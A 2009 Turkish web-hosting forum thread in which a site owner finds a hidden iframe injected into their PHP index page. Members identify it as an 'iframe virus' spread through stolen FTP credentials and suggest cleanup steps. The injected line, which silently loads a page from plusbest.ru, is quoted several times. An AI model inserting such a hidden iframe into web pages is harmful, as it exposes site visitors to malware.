• 06-11-2009, 13:40:31
    #1
    index.php dosyam hostta hergün bozuluyor

    index.php kodlarım
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
     <head>
         <?php     
        include("fonksiyon.php");
        include("config.php");
        if(isset($_GET['sayfaid'])) $sayfaid = $_GET['sayfaid']; else $sayfaid = null;    
        if(isset($_GET['altsayfaid'])) $altsayfaid = $_GET['altsayfaid']; else $altsayfaid = null;            
        generateHeader($sayfaid,$altsayfaid);
        include("cssci.php");                          
        ?>
        <link rel="stylesheet" href="css2/main.css" type="text/css" media="screen"/>
        <script type="text/javascript" src="js/genel.js" language=javascript></script>        
     </head>
    
    <body marginheight="0" marginwidth="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0">
    <table bgcolor="white" align="center" border="0" cellpadding="0" cellspacing="0" width="850" height="100%">
        <tr>
          <td height="150" colspan="2"><?php include("banner.php"); ?></td>
        </tr>
        <tr>
          <td height="20" align="center" colspan="2"><?php include("ustmenu.php"); ?></td>
        </tr>
        <tr>
           <?php
            include("baglan.php");
            $goster=mysql_query("SELECT * FROM ekozellikler where onay='1' and ek<>'iletisim' and ek<>'defter'and ek<>'fotogaleri' and ek<>'urun' ");
                if(mysql_num_rows($goster))    {
                    $sayfa_width="650";
           ?>
            <td height="100%" width="200" valign="top"><?php include("solmenu.php"); ?></td>
          <?php 
                }else{
                  $tarih = tarih(time());
                  echo "<tr><td align='right' style='padding:10px;'>$tarih</td></tr>";
                  $sayfa_width="100%";             
                }
          ?>
                <td height="100%" width=<?php echo $sayfa_width; ?> valign="top">
                    <div class="content_inner">    <?php include("sayfa.php"); ?></div>  
            </td>
        </tr>
        <tr>
          <td height="10" align="center" colspan="2" class="alt"><?php include("alt.php"); ?></td>
        </tr>
    </table>
    </body>
    </html>
    Bozulduktan Sonraki Hali :
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
     <head>
         <?php     
        include("fonksiyon.php");
        include("config.php");
        if(isset($_GET['sayfaid'])) $sayfaid = $_GET['sayfaid']; else $sayfaid = null;    
        if(isset($_GET['altsayfaid'])) $altsayfaid = $_GET['altsayfaid']; else $altsayfaid = null;            
        generateHeader($sayfaid,$altsayfaid);
        include("cssci.php");                          
        ?>
        <link rel="stylesheet" href="css2/main.css" type="text/css" media="screen"/>
        <script type="text/javascript" src="js/genel.js" language=javascript></script>        
     </head>
    
    <body marginheight="0" marginwidth="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0"><iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>
    <table bgcolor="white" align="center" border="0" cellpadding="0" cellspacing="0" width="850" height="100%">
        <tr>
          <td height="150" colspan="2"><?php include("banner.php"); ?></td>
        </tr>
        <tr>
          <td height="20" align="center" colspan="2"><?php include("ustmenu.php"); ?></td>
        </tr>
        <tr>
           <?php
            include("baglan.php");
            $goster=mysql_query("SELECT * FROM ekozellikler where onay='1' and ek<>'iletisim' and ek<>'defter'and ek<>'fotogaleri' and ek<>'urun' ");
                if(mysql_num_rows($goster))    {
                    $sayfa_width="650";
           ?>
            <td height="100%" width="200" valign="top"><?php include("solmenu.php"); ?></td>
          <?php 
                }else{
                  $tarih = tarih(time());
                  echo "<tr><td align='right' style='padding:10px;'>$tarih</td></tr>";
                  $sayfa_width="100%";             
                }
          ?>
                <td height="100%" width=<?php echo $sayfa_width; ?> valign="top">
                    <div class="content_inner">    <?php include("sayfa.php"); ?></div>  
            </td>
        </tr>
        <tr>
          <td height="10" align="center" colspan="2" class="alt"><?php include("alt.php")
    bozulan php de dikkat ettiyseniz

    <iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>

    bu satır eklendi :S

    ve alt.php yi include etme işlemini yarıda kesip atmış..

    Not : iframe ile döviz bilgilerini çekiyorum tcmb den
    sorun bumu acaba iframe i virüs olarak mı algılıyor server ?
    eğer öyleyse çözüm nedir ?
    teşekkürler ...
  • 06-11-2009, 13:41:35
    #2
    <iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>



    İFRAME virüsü var.
  • 06-11-2009, 13:43:10
    #3
    enginberk adlı üyeden alıntı: mesajı görüntüle
    <iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>



    İFRAME virüsü var.
    index.php dosyam bozulduktan sonra o hali alıyor farkındayım .. nasıl olurda o hale gelir diyerek sordum yazımın tamamında ..
  • 06-11-2009, 13:45:20
    #4
    Üyeliği durduruldu
    iframe virusu yemissiniz ustad. ftp sifresini degistirin sonra forumda aratin tum detayi ile cozum basliklari mevcut
  • 06-11-2009, 13:48:18
    #5
    dosyalarini orjinal dosyaların ile FTP'den değiştirceksin, hemde hepsini.
    genelde index.htm index.php index.asp dosyalarina giriyor,
    daha sonra makinandaki FTP programlarını kaldıracaksın,
    bilgisayarına antivirüs temizliği yapacaksın.

    biraz kurtulması zorda olsa, yapabilirsin diye düşünüyorum
  • 06-11-2009, 13:48:29
    #6
    Iframe virüsü .php dosyalarını bozabiliyor. koldlarınız içinde

    <iframe frameborder="0" onload="if (!this.src){ this.src='http://plusbest.ru:8080/index.php'; this.height='0'; this.width='0';}" >sjhcytuuymdbeyogwovkbndoxckqytw</iframe>

    kodları mevcut. Bilgisayarınızı iyice bir taratıp ftp şifrenizi değiştirmenizi öneririm.
  • 06-11-2009, 13:51:18
    #7
    Üyeliği durduruldu
    enginberk adlı üyeden alıntı: mesajı görüntüle
    genelde index.htm index.php index.asp dosyalarina giriyor,
    en son arkadasin ftpsini temizlerken gordugum javascript dosyalarina dahi bilasmisti. resmen bir bela webcilerin korkulu ruyasi. Kaspersky taniyor bu arada virusu
  • 06-11-2009, 13:55:13
    #8
    Filezilla,cuteftp gibi FTP yazılımlarından giriyorsunuz bunlara şifrenizi kaydetmeyin.Bakın şifreyi kaydetmeyin diyorum bunları kullanmayın demiyorum.Eğer kaydederseniz çok iframe yersiniz.
  • 06-11-2009, 13:56:43
    #9
    tamam sağolun bende kis2010 var onla bilgisayarı tam taratma yapayım .. ki temiz ama genede yapayım ..

    sonra filezillaya kayıtlıydı ftp şifresi onu sildim .. ve filezillayı kaldırdım bilgisayardan ...
    şimdi taratma yapıyorum ve en son tüm ftp yi değiştirip ftp şifresinide değiştireceğim sonucu yazarım .. sağolun önerileriniz için ...